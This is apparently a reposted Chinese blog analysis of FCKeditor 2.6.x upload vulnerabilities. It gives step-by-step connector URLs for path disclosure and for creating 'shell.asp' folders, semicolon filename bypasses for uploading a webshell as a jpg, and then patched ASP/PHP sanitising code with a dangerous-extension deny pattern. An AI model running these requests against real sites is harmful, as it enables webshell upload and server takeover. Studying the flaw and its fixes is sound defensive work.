博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Fckeditor PHP/ASP File Upload Vul
阅读量:6979 次
发布时间:2019-06-27

本文共 10754 字,大约阅读时间需要 35 分钟。

目录

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

 

1. 漏洞描述

FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行,互联网上很容易找到相关技术文档,国内许多WEB项目和大型网站均采用了FCKeditor

它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合
FCK中一个很重要的文件上传的功能,常常被黑客用来进行GETSHELL攻击,根本原因是因为角色权限控制不严、以及文件扩展名限制逻辑存在BYPASS缺陷

Relevant Link:

http://sebug.net/vuldb/ssvid-20830

2. 漏洞触发条件

0x1: 信息搜集

首先收集FCK的版本信息

http://localhost/fckeditor/editor/dialog/fck_about.html/*version 2.6.8Build 25427*/

0x2: 获取上传点路径

爆物理路径http://172.31.200.74/editor/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp1. 爆路径漏洞http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp2. 列目录漏洞也可助找上传地址http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asphttp://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F3. 其他上传地址http://192.168.174.138/fckeditor/_samples/default.htmlhttp://192.168.174.138/fckeditor/_samples/asp/sample01.asphttp://192.168.174.138/fckeditor/_samples/asp/sample02.asphttp://192.168.174.138/fckeditor/_samples/asp/sample03.asphttp://192.168.174.138/fckeditor/_samples/asp/sample04.asp一般很多站点都已删除_samples目录,可以试试。FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页http://192.168.174.138/fckeditor/editor/fckeditor.html4. 常用上传地址http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/http://192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asphttp://192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php  5. FCKeditor 中test 文件的上传地址http://192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/test.htmlhttp://192.168.174.138/fckeditor/editor/filemanager/upload/test.htmlhttp://192.168.174.138/fckeditor/editor/filemanager/connectors/test.htmlhttp://192.168.174.138/fckeditor/editor/filemanager/connectors/uploadtest.html

最终获得的上传点如下

http://localhost/fckeditor/editor/filemanager/connectors/test.htmlhttp://localhost/fckeditor/editor/filemanager/connectors/uploadtest.html

0x3: 建立新文件夹

http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684//在images文件夹下建立文件夹

0x4: IIS解析漏洞

如果你的文件处在一个xx.asp文件夹下,那这个文件夹下的所有文件都会被当作.asp脚本来执行,这是利用了IIS的xx.asp文件夹解析漏洞

1. 建立一个文件夹/z/shell.asphttp://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684 http://localhost/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp2. 上传一个内容为WEBSHELL的xx.jpg文件http://localhost/userfiles/image/shell.asp/z/choop.jpghttp://localhost/userfiles/image/shell.asp/z/choop.jpg//这个xx.jpg会被当作webshell解析

0x5: FCK扩展名过滤防御解析漏洞

正常情况下,fck对上传的文件后缀扩展名是有防御逻辑的(即禁止上传脚本文件)

1. 上传文件名: shell.php;.jpg文件会被重命名为: shell_php.jpg2. 如果上传文件名:     1) a.php;a_jpg    2) a.asp;a_jpg则文件不会被重命名 3. 又因为IIS存在一个解析漏洞,分号";"后面的字符串会被IIS截断,导致黑客上传的文件对IIS来说就是a.phpa.asp从而得到执行

Relevant Link:

http://hi.baidu.com/holyli/item/f2d37959513ed509e6c4a597

3. 漏洞影响范围

2.6.xx

4. 漏洞代码分析

FCKEditor上传检测,是通过黑色单/白名单的方式检测允许和不允许上传的文件类型,具体的实现逻辑位于

1. asp: \editor\filemanager\connectors\asp\io.asp2. php: \editor\filemanager\connectors\php\io.php//在另一个browser目录中也存在同样目录结构的一套文件3. asp: \editor\filemanager\browser\default\connectors\asp\io.asp4. php: \editor\filemanager\browser\default\connectors\php\io.php

0x1: ASP

\fckeditor\editor\filemanager\connectors\asp\class_upload.asp

Private Function IsAllowed(sExt)        Dim oRE        Set oRE    = New RegExp        oRE.IgnoreCase    = True        oRE.Global        = True        If sDenied = "" Then            oRE.Pattern    = sAllowed            IsAllowed    = (sAllowed = "") Or oRE.Test(sExt)        Else            oRE.Pattern    = sDenied            IsAllowed    = Not oRE.Test(sExt)        End If        Set oRE    = NothingEnd Function

\fckeditor\editor\filemanager\connectors\asp\io.asp

Function IsAllowedExt( extension, resourceType )    Dim oRE    Set oRE    = New RegExp    oRE.IgnoreCase    = True    oRE.Global        = True    Dim sAllowed, sDenied    sAllowed    = ConfigAllowedExtensions.Item( resourceType )    sDenied        = ConfigDeniedExtensions.Item( resourceType )    IsAllowedExt = True    If sDenied <> "" Then        oRE.Pattern    = sDenied        IsAllowedExt    = Not oRE.Test( extension )    End If    If IsAllowedExt And sAllowed <> "" Then        oRE.Pattern        = sAllowed        IsAllowedExt    = oRE.Test( extension )    End If    Set oRE    = NothingEnd Function

待检测的extension是来自FCK的配置文件:config.asp

\fckeditor\editor\filemanager\connectors\asp\config.asp

ConfigAllowedExtensions.Add    "File", "7z|aiff|asf|avi|bmp|csv|doc|fla|flv|gif|gz|gzip|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|ods|odt|pdf|png|ppt|pxd|qt|ram|rar|rm|rmi|rmvb|rtf|sdc|sitd|swf|sxc|sxw|tar|tgz|tif|tiff|txt|vsd|wav|wma|wmv|xls|xml|zip"ConfigAllowedExtensions.Add    "Image", "bmp|gif|jpeg|jpg|png"ConfigAllowedExtensions.Add    "Flash", "swf|flv"ConfigAllowedExtensions.Add    "Media", "aiff|asf|avi|bmp|fla|flv|gif|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|png|qt|ram|rm|rmi|rmvb|swf|tif|tiff|wav|wma|wmv"

这只是提供给FCK的正则判断逻辑,真正的重命名机制在这里

\fckeditor\editor\filemanager\connectors\asp\io.asp

' Do a cleanup of the file name to avoid possible problemsfunction SanitizeFileName( sNewFileName )    Dim oRegex    Set oRegex = New RegExp    oRegex.Global        = True    if ( ConfigForceSingleExtension = True ) then        /*        这就是重命名文件名的关键逻辑了        从第一个遇到"."号开始搜索,并把后面的内容当作捕获分组,捕获分组的过滤条件是不会再在后面遇到一个"."号 了,并设置一个断言,断言的内容为捕获分组的内容不可能发生,即如果还在后面遇到了一个"."号,则这个正则判断成立,即搜索到第一次遇到的"."号。然后进行replace操作,把"."号替换成"_"        1. 如果我们的文件名是: asp.asp;asp.jpg,自然会被正则捕获到,第一个"."号就被替换成了"_"        2. 如果我们的文件名是: asp.asp;jpg,这种文件名也能通过文件后缀判断逻辑,即bypass        */        oRegex.Pattern = "\.(?![^.]*$)"        sNewFileName = oRegex.Replace( sNewFileName, "_" )    end if' remove \ / | : ? *  " < > and control characters    oRegex.Pattern = "(\\|\/|\||:|\?|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"    SanitizeFileName = oRegex.Replace( sNewFileName, "_" )    Set oRegex = Nothingend function

5. 防御方法

1. ASP

0x1:  删除fckeditor下含test的html文件

1. \editor\filemanager\connectors\test.html

0x2: 在代码层防御IIS解析漏洞(分号截断)

\editor\filemanager\connectors\asp\io.asp

' Do a cleanup of the file name to avoid possible problemsfunction SanitizeFileName( sNewFileName )    Dim oRegex    Dim oRegexSecurityExt    Set oRegex                 = New RegExp    Set oRegexSecurityExt     = New RegExp    oRegex.Global                    = True    oRegexSecurityExt.Global        = True    if ( ConfigForceSingleExtension = True ) then        oRegex.Pattern = "\.(?![^.]*$)"        SanitizeFileName = oRegex.Replace( sNewFileName, "_" )        oRegexSecurityExt.Pattern = "\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)"        SanitizeFileName = oRegexSecurityExt.Replace( sNewFileName, "_" )    end if' remove \ / | : ? *  " < > and control characters    oRegex.Pattern = "(\\|\/|\||:|\;|\?|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"    SanitizeFileName = oRegex.Replace( sNewFileName, "_" )    Set oRegex = Nothingend function

0x3: 在代码层防御IIS解析漏洞(创建xx.asp目录)

如果黑客通过FCK的目录创建接口创建了一个xx.asp目录,IIS将此目录下的的任意文件都当作asp脚本进行解析,攻击者可以向这个目录下上传包含WEBSHELL的jpg文件

' Do a cleanup of the folder name to avoid possible problemsfunction SanitizeFolderName( sNewFolderName )    Dim oRegex    Dim oRegexSecurityExt    Set oRegex                 = New RegExp    Set oRegexSecurityExt     = New RegExp    oRegex.Global                    = True    oRegexSecurityExt.Global        = True    'remove . \ / | : ? *  " < > and control characters    oRegex.Pattern = "(\.|\\|\/|\||:|\?|\;|\*|""|\<|\>|[\u0000-\u001F]|\u007F)"    SanitizeFolderName = oRegex.Replace( sNewFolderName, "_" )    'forbidden the dangerous ext    oRegexSecurityExt.Pattern = "\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$"    SanitizeFolderName = oRegexSecurityExt.Replace( sNewFolderName, "_" )    Set oRegex = Nothingend function

0x4: 扩展名上传限制正则绕过漏洞

和0x2: 在代码层防御IIS解析漏洞(分号截断)相同,同时还可以通过强化正则规则,在扩展名的头尾加上"起始"、"结束"定界符来规避攻击者的畸形后缀bypass

Function IsAllowedType( resourceType )    Dim oRE    Set oRE    = New RegExp    oRE.IgnoreCase    = False    oRE.Global        = True    oRE.Pattern        = "^(" & ConfigAllowedTypes & ")$"    IsAllowedType = oRE.Test( resourceType )    Set oRE    = NothingEnd FunctionFunction IsAllowedCommand( sCommand )    Dim oRE    Set oRE    = New RegExp    oRE.IgnoreCase    = True    oRE.Global        = True    oRE.Pattern        = "^(" & ConfigAllowedCommands & ")$"    IsAllowedCommand = oRE.Test( sCommand )    Set oRE    = NothingEnd Function

Relevant Link:

http://www.chinaz.com/news/2012/1205/284700.shtmlhttp://www.sdlunzhong.cn/itres/showitnews.aspx?id=807

2. PHP

存在IIS+FastCGI即同时存在ASP、PHP的运行环境

/editor/filemanager/connectors/php/io.php

// Do a cleanup of the folder name to avoid possible problemsfunction SanitizeFolderName( $sNewFolderName ){    $sNewFolderName = stripslashes( $sNewFolderName ) ;    // Remove . \ / | : ; . ? * " < >    $sNewFolderName = preg_replace( '/\\.|\\\\|\\;|\\/|\\||\\:|\\?|\\*|"|<|>|[[:cntrl:]]/', '_', $sNewFolderName ) ;    $sNewFolderName = preg_replace( '/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$/i', '_', $sNewFolderName ) ;    return $sNewFolderName ;}// Do a cleanup of the file name to avoid possible problemsfunction SanitizeFileName( $sNewFileName ){    global $Config ;    $sNewFileName = stripslashes( $sNewFileName ) ;    // Replace dots in the name with underscores (only one dot can be there... security issue).    if ( $Config['ForceSingleExtension'] )        $sNewFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sNewFileName ) ;    // Remove \ / | : ? * " < >    $sNewFileName = preg_replace( '/\\\\|\\/|\\||\\:|\\;|\\?|\\*|"|<|>|[[:cntrl:]]/', '_', $sNewFileName ) ;    $sNewFileName = preg_replace( '/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)/i', '_', $sNewFileName ) ;    return $sNewFileName ;}

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

转载地址:http://mhcpl.baihongyu.com/

你可能感兴趣的文章
shell 逻辑运算符、逻辑表达式详解
查看>>
Linux下安装jboss(续集)
查看>>
双硬盘双系统启动
查看>>
【NetApp】SVM管理员如何使用system manager GUI界面管理SVM
查看>>
office常用的快捷键
查看>>
JavaScript语法详解(一)
查看>>
zimbra mailbox 备份与恢复
查看>>
【18】Python半成品购物车
查看>>
RedHat Linux KVM安装配置
查看>>
01 jquery easyui 入门示例
查看>>
oracle rac 扩展磁盘采坑记录
查看>>
Deprecated:function eregi() is deprecated in /usr/local/apache/libraries/lib_lang.php on line 8
查看>>
2.shell前基础知识
查看>>
resin4 配置https
查看>>
mysql备份脚本
查看>>
monit安装
查看>>
为什么你的服务器被列入垃圾邮件?
查看>>
游戏角色动作太羞耻?现在AI能帮忙了(也有论文)
查看>>
phpcms 调用多级栏目和多级栏目下的文章列表
查看>>
InputStream与OutputStream的使用例子
查看>>